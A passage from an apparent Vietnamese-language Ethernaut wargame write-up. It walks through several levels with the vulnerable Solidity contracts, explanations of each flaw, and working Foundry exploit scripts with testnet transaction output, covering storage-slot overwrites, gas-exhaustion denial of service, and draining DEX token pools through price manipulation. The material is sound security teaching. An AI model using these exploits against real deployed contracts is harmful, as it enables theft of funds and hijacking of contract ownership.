uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max) -> gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); ``` script: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/GatekeeperTwo.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract Solve { GatekeeperTwo public gatekeeperTwo = GatekeeperTwo(0x39c851A4ee1080E1d5a5a50cA0C2E26e76dC110a); constructor() { bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); console.log("entrant: ", gatekeeperTwo.entrant()); gatekeeperTwo.enter(gateKey); console.log("entrant: ", gatekeeperTwo.entrant()); } } contract exploitGatekeeperTwo is Script { function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); Solve solve = new Solve(); vm.stopBroadcast(); } } ``` # Naught Coin NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0. Things that might help - The [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) Spec - The [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) codebase ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } } ``` Ta thấy, để chuyển token ra khỏi account ta cần gọi hàm `transfer` nhưng nó sử dụng modifier lockTokens nên ta không thể thực hiện chức năng này. ERC20 có một cách khác để chuyển token ra khỏi contract là sử dụng `aprove()` và `transferFrom()` **approve** ```solidity function approve(address _spender, uint256 _value) public returns (bool success) ``` This function is used to allow the `_spender` to spend `_value` amount of tokens on behalf of the owner. **transferFrom** ```solidity function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) ``` This function is used to transfer the approved tokens (`_value`) from the owner's account to the address mentioned in the `_to` by the `_spender` approved in the previous step. Script: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/NaughtCoin.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitNaughtCoin is Script { NaughtCoin public naughtCoin = NaughtCoin(0x343C08372D75F9bd8a16E45669EDbE870ce3bF90); function run() external { address player = 0x2b8bed557d4b005212a6703C36B119B07318108B; uint balance = naughtCoin.balanceOf(player); vm.startBroadcast(vm.envUint("PRIVATE_KEY")); console.log("Blance: ", naughtCoin.balanceOf(player)); naughtCoin.approve(player, balance); naughtCoin.transferFrom(player, address(naughtCoin), balance); console.log("Blance: ", naughtCoin.balanceOf(player)); vm.stopBroadcast(); } } ``` # Preservation This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given. Things that might help - Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. - Understanding what it means for `delegatecall` to be context-preserving. - Understanding how storage variables are stored and accessed. - Understanding how casting works between different data types. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime; function setTime(uint256 _time) public { storedTime = _time; } } ``` ![image](https://hackmd.io/_uploads/HJFRWbAmR.png) ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Preservation.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract Solve { address public s1; address public s2; address public owner; Preservation public preservation = Preservation(0x2368a9DfdfFfa3E06B01b488Fac7743fd69Cb661); function solve() public { console.log("owner: ", preservation.owner()); preservation.setFirstTime(uint256(uint160(address(this)))); preservation.setFirstTime(uint256(uint160(0x2b8bed557d4b005212a6703C36B119B07318108B))); console.log("owner: ", preservation.owner()); } function setTime(uint256 _timeStamp) public { owner = tx.origin; } } contract exploitPreservation is Script { address public timeZone1Library; address public timeZone2Library; address public owner; Preservation public preservation = Preservation(0x2368a9DfdfFfa3E06B01b488Fac7743fd69Cb661); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); Solve s = new Solve(); s.solve(); vm.stopBroadcast(); } } ``` # Recovery A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent `0.001` ether to obtain more tokens. They have since lost the contract address. This level will be completed if you can recover (or remove) the `0.001` ether from the lost contract address. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { string public name; mapping(address => uint256) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint256 _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } } ``` Ta có thể giải quyết vấn đề này đơn giản thông qua etherscan: ![image](https://hackmd.io/_uploads/B1iv806Q0.png) ![image](https://hackmd.io/_uploads/SyH_LCaXR.png) ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Recovery.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitRecovery is Script { function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); address lostContract = 0xC323BdA08E47466Ab140b041653431EaD9a93746; //find in etherscan SimpleToken simpleToken = SimpleToken(payable(lostContract)); simpleToken.destroy(payable(0xD20B353C8Aec5212af71942a463DaCD54c4CaCcd)); //instance vm.stopBroadcast(); } } ``` # Magic Number To solve this level, you only need to provide the Ethernaut with a `Solver`, a contract that responds to `whatIsTheMeaningOfLife()` with the right number. Easy right? Well... there's a catch. The solver's code needs to be really tiny. Really reaaaaaallly tiny. Like freakin' really really itty-bitty tiny: 10 opcodes at most. Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That's right: Raw EVM bytecode. Good luck! ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MagicNum { address public solver; constructor() {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */ } ``` https://solidity-by-example.org/app/simple-bytecode-contract/ ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/MagicNumber.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitMagicNumber is Script { MagicNum public magicNumber = MagicNum(0x84eC4312AF03dDd5a2d69d7befe21462f494BfE4); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3"; address addr; assembly { // create(value, offset, size) addr := create(0, add(bytecode, 0x20), 0x13) } magicNumber.setSolver(addr); vm.stopBroadcast(); } } // https://www.evm.codes/playground /* Run time code - return 42 602a60005260206000f3 // Store 42 to memory mstore(p, v) - store v at memory p to p + 32 PUSH1 0x2a PUSH1 0 MSTORE // Return 32 bytes from memory return(p, s) - end execution and return data from memory p to p + s PUSH1 0x20 PUSH1 0 RETURN Creation code - return runtime code 69602a60005260206000f3600052600a6016f3 // Store run time code to memory PUSH10 0X602a60005260206000f3 PUSH1 0 MSTORE // Return 10 bytes from memory starting at offset 22 PUSH1 0x0a PUSH1 0x16 RETURN */ ``` # Alien Codex You've uncovered an Alien contract. Claim ownership to complete the level. Things that might help - Understanding how array storage works - Understanding [ABI specifications](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) - Using a very `underhanded` approach ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import "../helpers/Ownable-05.sol"; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) public contacted { codex.push(_content); } function retract() public contacted { codex.length--; } function revise(uint256 i, bytes32 _content) public contacted { codex[i] = _content; } } ``` Mục tiêu của ta là trở thành owner của contract, nhưng ta thấy không hề có cơ chế nào để thay đổi owner và cũng không có biến để lưu trữ owner của contract. Và điểm đặc biệt của contract này là nó được thừa kế từ contract `Ownable` , thông qua điểm này ta sẽ khai thác được gì đó. ```solidity pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); ... ``` Như đã đề cập tại các chall trước, biến _owner sẽ được lưu tại slot 0. Tiếp đến ta cần tìm hiểu về cơ chế lưu trữ của dinamic array. https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/ https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays ```solidity slot 0 : owner, contact slot 1 : codex.length() p = keccak256(1) slot p : codex[0] slot p + 1 : codex[1] slot p + 2 : codex[2] ... slot 2^256 - 1 : codex[2^256 - 1 - p] slot 0 : codex[2^256 - p] ``` Để làm được điều này ta cần làm sao cho `codex.length() = 2^256-1`. Đơn giản, chỉ cần gọi hàm `retract()` lúc `codex.length = 0` script: ```solidity pragma solidity ^0.5.0; import "../src/AlienCodex.sol"; contract exploitAlienCodex { AlienCodex public alienCodex = AlienCodex(0x0e75f928056CD46F56535E2B0B95d7793625AA1F); function solve() external { uint i = (2**256 - 1) - uint(keccak256(abi.encode(1))) + 1; alienCodex.makeContact(); alienCodex.retract(); alienCodex.revise(i, bytes32(uint256(uint160(tx.origin)))); } } ``` ```solidity forge create exploitAlienCodex --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... [⠊] Compiling... [⠒] Compiling 3 files with Solc 0.5.17 [⠢] Solc 0.5.17 finished in 23.50ms Compiler run successful! Deployer: 0x2b8bed557d4b005212a6703C36B119B07318108B Deployed to: 0x1c51FCA3A6B81c63fCaA59dA9e02a20dd0BcC4D8 Transaction hash: 0xa478b1030afe7e665cb2a78a56260e17cdaef239fee7c5614a5ddff96f0cc1e8 ``` ```solidity cast send 0x1c51FCA3A6B81c63fCaA59dA9e02a20dd0BcC4D8 "solve()" --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... blockHash 0x488b7e61e1c9db7ae2be08bb885557f49b0bbe344a6fc00efa40bf9ad5893dd9 blockNumber 5852916 contractAddress cumulativeGasUsed 9765293 effectiveGasPrice 7594047424 from 0x2b8bed557d4b005212a6703C36B119B07318108B gasUsed 55830 logs [] logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 root status 1 (success) transactionHash 0xcf838aadac13b8df2e19292faa70817e9b9031613dc72cfb6f58d14b42a987fb transactionIndex 67 type 2 blobGasPrice blobGasUsed to 0x1c51FCA3A6B81c63fCaA59dA9e02a20dd0BcC4D8 ``` # Denial This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner. If you can deny the owner from withdrawing funds when they call `withdraw()` (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint256 timeLastWithdrawn; mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value: amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint256) { return address(this).balance; } } ``` Điểm khả thi để khai thác ```solidity // withdraw 1% to recipient and 1% to owner function withdraw() public { uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value: amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } ``` Hàm `call()` sẽ chuyển tất cả gas cùng với lời gọi hàm nếu không được chỉ định. Hàm `Transfer` và `send` chỉ chuyển 2300 gas. Hàm `call()` sẽ trả về hai giá trị trong định dạng `bool` và `bytes memory` tương ứng với kết quả có thành công hay không và return value. Để ngăn chặn `payable(owner).transfer(amountToSend)` ta sẽ tạo một contract có chức năng `receive` nhằm tiêu hao hết gas dẫn đến việc thực thi câu lệnh tiếp theo thất bại. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Denial.sol"; contract exploitDenial { Denial public denial = Denial(payable(0x6ee279a9D1741f7a1F62466BaB82e017D338E891)); constructor() { denial.setWithdrawPartner(address(this)); } receive() external payable { while (true) {} } } ``` ```solidity forge create exploitDenial --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... [⠆] Compiling... [⠰] Compiling 1 files with Solc 0.8.25 [⠒] Solc 0.8.25 finished in 38.99ms Compiler run successful with warnings: ``` # Shop Сan you get the item from the shop for less than the price asked? **Things that might help:** - `Shop` expects to be used from a `Buyer` - Understanding restrictions of view functions ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint256); } contract Shop { uint256 public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } } ``` function `buy()` check giá trị của price được trả về bởi Interface Buyer có lớn hơn 100 hay không, và giá trị của `isSold` phải là `false` . Nếu validate thành công giá trị `isSolved` sẽ được gán là `true` và `price` sẽ được gán giá trị mới là `_buyer.price()` . Như vậy hàm `price()` sẽ được gọi 2 lần và vì ta có thể kiểm soát được contract buyer nên việc viết lại hàm price sao cho lần đầu tiên trả về 101 và lần thứ 2 trả về giá trị nhỏ hơn là hoàn toàn khả thi. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Shop.sol"; contract solveShop { Shop public shop = Shop(0x67Ee9549e311857bCaDa738dB18C3820759Bf917); function solve() external { shop.buy(); } function price() external view returns (uint256) { uint256 p = shop.price()+1; return p; } } ``` ```solidity forge create solveShop --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... [⠰] Compiling... [⠔] Compiling 1 files with Solc 0.8.25 [⠒] Solc 0.8.25 finished in 35.92ms Compiler run successful! Deployer: 0x2b8bed557d4b005212a6703C36B119B07318108B Deployed to: 0xB73DA8D1A27557e8f3Cf492A3E2EaAf5aD766Da0 Transaction hash: 0x42eb212c151ad2c16661362f2aa0dad82a8373082cde1d28fe617ae4d6b234cd cast send 0xB73DA8D1A27557e8f3Cf492A3E2EaAf5aD766Da0 "solve()" --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... blockHash 0x2708622d60385917840be167aff656f46528e31e6cc9cb57f5b032992ffbfa28 blockNumber 5855986 contractAddress ``` Contracts can manipulate data seen by other contracts in any way they want. It's unsafe to change the state based on external and untrusted contracts logic # Dex The goal of this level is for you to hack the basic [DEX](https://en.wikipedia.org/wiki/Decentralized_exchange) contract below and steal the funds by price manipulation. You will start with 10 tokens of `token1` and 10 of `token2`. The DEX contract starts with 100 of each token. You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets. **Quick note** Normally, when you make a swap with an ERC20 token, you have to `approve` the contract to spend your tokens for you. To keep with the syntax of the game, we've just added the `approve` method to the contract itself. So feel free to use `contract.approve(contract.address, <uint amount>)` instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the `SwappableToken` contract otherwise. Things that might help: - How is the price of the token calculated? - How does the `swap` method work? - How do you `approve` a transaction of an ERC20? - Theres more than one way to interact with a contract! - Remix might help - What does "At Address" do? ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import "openzeppelin-contracts-08/access/Ownable.sol"; contract Dex is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity(address token_address, uint256 amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint256 amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint256 swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } function approve(address spender, uint256 amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint256) { return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } } ``` Điểm khả thi để khai thác: ```solidity function swap(address from, address to, uint256 amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint256 swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } ``` Gía trị của `swapAmount` được xác định thông qua hàm `getSwapPrice()` với kiểu trả về là `uint256` nhưng lại sử dụng phép chia dẫn đến việc giá trị được tính toán ra sẽ sai lệch với mong muốn. Ta có thể khai thác điều này để rút cạn 1 token của contract `Dex`. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Dex.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; /** * @title Dex contract exploit dex player token1 token2 token1 token2 100 100 10 10 dex.swap(token1, token2, 10); dex player token1 token2 token1 token2 110 90 0 20 dex.swap(token2, token1, 20); dex player token1 token2 token1 token2 86 110 24 0 dex.swap(token1, token2, 24); dex player token1 token2 token1 token2 110 80 0 30 dex.swap(token2, token1, 30); dex player token1 token2 token1 token2 69 110 41 0 dex.swap(token1, token2, 41); dex player token1 token2 token1 token2 110 45 0 65 dex.swap(token2, token1, 45); dex player token1 token2 token1 token2 0 90 110 20 */ contract exploitTelephone is Script { Dex public dex = Dex(0x02fB52270c13e57e39bda4F2C39Db4136087aAD5); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); address token1 = dex.token1(); address token2 = dex.token2(); dex.approve(address(dex), 500); dex.swap(token1, token2, 10); dex.swap(token2, token1, 20); dex.swap(token1, token2, 24); dex.swap(token2, token1, 30); dex.swap(token1, token2, 41); dex.swap(token2, token1, 45); vm.stopBroadcast(); } } ``` # Dex Two This level will ask you to break `DexTwo`, a subtlely modified `Dex` contract from the previous level, in a different way. You need to drain all balances of token1 and token2 from the `DexTwo` contract to succeed in this level. You will still start with 10 tokens of `token1` and 10 of `token2`. The DEX contract still starts with 100 of each token. Things that might help: - How has the `swap` method been modified? ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import "openzeppelin-contracts-08/access/Ownable.sol"; contract DexTwo is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function add_liquidity(address token_address, uint256 amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint256 amount) public { require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint256 swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } function approve(address spender, uint256 amount) public { SwappableTokenTwo(token1).approve(msg.sender, spender, amount); SwappableTokenTwo(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint256) { return IERC20(token).balanceOf(account); } } contract SwappableTokenTwo is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } } ``` Tương tự chall trên nhưng mục tiêu của ta lại là rút can cả 2 token của contract `DexTwo`, Để làm được điều này ta cần thông qua một ERC20 token của riêng mình - FakeToken. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol"; contract FakeToken is ERC20 { constructor (uint256 initialSupply) ERC20("FakeToken", "FT") public { _mint(msg.sender, initialSupply); } } ``` ```solidity forge create FakeToken --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... --constructor-args 400 [⠔] Compiling... No files changed, compilation skipped Deployer: 0x2b8bed557d4b005212a6703C36B119B07318108B Deployed to: 0xF0FfA6BcDF68AB2919B11018510146E2d1326D70 Transaction hash: 0x0366eaaeb982f4e3ce8e0427e9e1245d58708c08e11b2c75c0dc43d8bd1f8ea6 ``` ```solidity cast call 0xF0FfA6BcDF68AB2919B11018510146E2d1326D70 "balanceOf(address)" "0x2b8bed557d4b005212a6703C36B119B07318108B" --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... | cast --to-dec 400 ``` Ta sẽ gửi 100 FakeToken đến contract DexTwo: ```solidity wut@DESKTOP-COB62B7:/mnt/e/Web3/ethernaut/Hello Ethernaut$ cast send 0xF0FfA6BcDF68AB2919B11018510146E2d1326D70 "transfer(address, uint256)" "0x8840f28FE1542eA6A13F00D5520B61617D2fEC72" "100" --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... -- -vvv blockHash 0xe4879aa2f6ffd4706c4772eab6ad90682fe1016ff3b30c12588d0ee86818d16d blockNumber 5865993 contractAddress cumulativeGasUsed 3470552 effectiveGasPrice 6248728899 from 0x2b8bed557d4b005212a6703C36B119B07318108B gasUsed 51398 logs [{"address":"0xf0ffa6bcdf68ab2919b11018510146e2d1326d70","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000002b8bed557d4b005212a6703c36b119b07318108b","0x0000000000000000000000008840f28fe1542ea6a13f00d5520b61617d2fec72"],"data":"0x0000000000000000000000000000000000000000000000000000000000000064","blockHash":"0xe4879aa2f6ffd4706c4772eab6ad90682fe1016ff3b30c12588d0ee86818d16d","blockNumber":"0x598209","transactionHash":"0x4529681e2b0feae33267564f60d441dfb8af71e376c22f81d39dd22f0de4576a","transactionIndex":"0x11","logIndex":"0xe","removed":false}] ``` Tiến hành exploit: Trạng thái ban đầu: | DexTwo | | | Player | | | | --- | --- | --- | --- | --- | --- | | Token1 | Token2 | FakeToken | Token1 | Token2 | FakeToken | | 100 | 100 | 100 | 10 | 10 | 300 | `dexTwo.swap(fakeToken, token1, 100);` → `swapAmount = 100` | DexTwo | | | Player | | | | --- | --- | --- | --- | --- | --- | | Token1 | Token2 | FakeToken | Token1 | Token2 | FakeToken | | 0 | 100 | 200 | 110 | 10 | 200 | `dexTwo.swap(fakeToken, token2, 200);` → `swapAmount = 100` | DexTwo | | | Player | | | | --- | --- | --- | --- | --- | --- | | Token1 | Token2 | FakeToken | Token1 | Token2 | FakeToken | | 0 | 0 | 400 | 110 | 110 | 0 | `approve` để DexTwo có thể sử dụng 300 FakeToken của ta: ```solidity cast send 0xF0FfA6BcDF68AB2919B11018510146E2d1326D70 "approve(address, uint256)" "0x8840f28FE1542eA6A13F00D5520B61617D2fEC72" "300" --private-key ... --rpc-url https://eth-sepolia.g.alchemy.com/v2/... blockHash 0xc3e2231af04299fa2e06a6b4de88fa01c5b8d8596ccc4662ded9bdb145236fc9 blockNumber 5866090 contractAddress cumulativeGasUsed 14253849 effectiveGasPrice 5762887907 from 0x2b8bed557d4b005212a6703C36B119B07318108B gasUsed 46200 ``` script: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/DexTwo.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitDexTwo is Script { DexTwo public dexTwo = DexTwo(0x8840f28FE1542eA6A13F00D5520B61617D2fEC72); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); console.log("FakeToken of my contract: ", dexTwo.balanceOf(0xF0FfA6BcDF68AB2919B11018510146E2d1326D70, 0x2b8bed557d4b005212a6703C36B119B07318108B)); console.log("FakeToken of DexTwo contract: ", dexTwo.balanceOf(0xF0FfA6BcDF68AB2919B11018510146E2d1326D70, 0x8840f28FE1542eA6A13F00D5520B61617D2fEC72)); address fakeToken = 0xF0FfA6BcDF68AB2919B11018510146E2d1326D70; address token1 = dexTwo.token1(); address token2 = dexTwo.token2(); dexTwo.swap(fakeToken, token1, 100); console.log("Token1 of DexTwo contract: ", dexTwo.balanceOf(token1, 0x8840f28FE1542eA6A13F00D5520B61617D2fEC72)); dexTwo.swap(fakeToken, token2, 200); console.log("Token2 of DexTwo contract: ", dexTwo.balanceOf(token2, 0x8840f28FE1542eA6A13F00D5520B61617D2fEC72)); vm.stopBroadcast(); } } ``` yeahhhhhhh ! ![image](https://hackmd.io/_uploads/BkrQLbC7C.png) # Puzzle Wallet Nowadays, paying for DeFi operations is impossible, fact. A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this. They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners. Little did they know, their lunch money was at risk… You'll need to hijack this wallet to become the admin of the proxy. Things that might help: - Understanding how `delegatecall` works and how `msg.sender` and `msg.value` behaves when performing one. - Knowing about proxy patterns and the way they handle storage variables. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "../helpers/UpgradeableProxy-08.sol"; contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin() { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is 